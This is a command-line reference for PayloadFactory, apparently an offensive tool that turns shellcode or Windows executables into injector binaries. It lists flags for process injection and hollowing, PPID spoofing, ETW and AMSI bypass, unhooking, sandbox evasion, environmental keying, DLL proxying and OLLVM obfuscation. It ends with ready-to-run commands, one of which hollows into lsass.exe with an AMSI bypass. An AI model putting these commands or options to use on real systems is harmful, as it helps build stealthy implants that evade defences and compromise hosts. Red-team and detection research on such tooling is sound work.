Reference

CLI Reference

Every command-line option for PayloadFactory's main.py.

CLI Reference

python main.py <injection> [options]

The first positional argument is the injection technique (required; see Injection Techniques). Exactly one of -s/--shell or -e/--exe is required.

Architecture & target

FlagDefaultDescription
-x86 / -x64-x64Target architecture (mutually exclusive).
--os / --targetwindowsTarget OS: windows or linux.
-r, --recoveryjumper_randomizedSyscall recovery: embedded, jumper, jumper_randomized, egg_hunter.
--syscallstubsSyscall generation: plain, sysplant, stubs.

Input

FlagDescription
-s, --shellRaw shellcode file (.bin/.hex/.raw) or object file. Mutually exclusive with -e.
-e, --exeWindows PE to convert with donut. Mutually exclusive with -s.
--argsArguments to pass to the PE at runtime (with -e).
-ncDisable donut compression.

Targeting

FlagDefaultDescription
-p, --processexplorer.exeTarget process for remote injection.
-nr, --no-randomoffDisable syscall-name randomization.
-np, --no-ppid-spoofoffDisable PPID spoofing.
-o, --outfileresult.exeOutput binary path.

Encoding

FlagDescription
-w, --word-encodeStore shellcode as an English word list. Mutually exclusive with -x.
-x, --xor-encodeStore XOR-encrypted shellcode. Mutually exclusive with -w.

Evasion (Windows-only)

FlagDefaultDescription
--evasion[]Pre-execution hooks: etw, amsi, unhook, sleep_obf (repeatable).
--sandbox[]Sandbox checks: cpu, memory, dll, hostname, username, domain, sleep (repeatable).
--sandbox-hostname—Expected value for the hostname check (required with it).
--sandbox-username—Expected value for the username check (required with it).
--sandbox-domain—Expected value for the domain check (required with it).

Environmental keying (Windows-only)

FlagDescription
--key-sourceKey source: hostname, domain, username, mac.
--key-valueExpected value (required when --key-source is set).

DLL output

FlagDescription
--dllGenerate a DLL instead of an EXE.
--dll-proxyPath to a legitimate DLL to proxy exports from (implies --dll).

Compilation & verbosity

FlagDescription
--clangUse clang++ with OLLVM obfuscation instead of g++.
--debugBuild with the console subsystem and log DEBUG messages.
--verboseLog INFO messages (mutually exclusive with --debug).

Examples

# Local injection, plain encoding, SysPlant syscalls
python main.py current_thread -s sc.bin --syscall sysplant -r jumper_randomized

# Remote hollow into lsass, XOR-encoded, AMSI bypass
python main.py process_hollow -s sc.bin -p lsass.exe -x --evasion amsi

# Convert a PE, proxy a DLL, env-keyed to hostname
python main.py fiber -e implant.exe --dll --dll-proxy /tmp/foo.dll \
    --key-source hostname --key-value TARGET-PC

# Linux ptrace injection
python main.py --os linux ptrace_inject -s sc.bin --process bash -o linux_payload
Copyright © 2026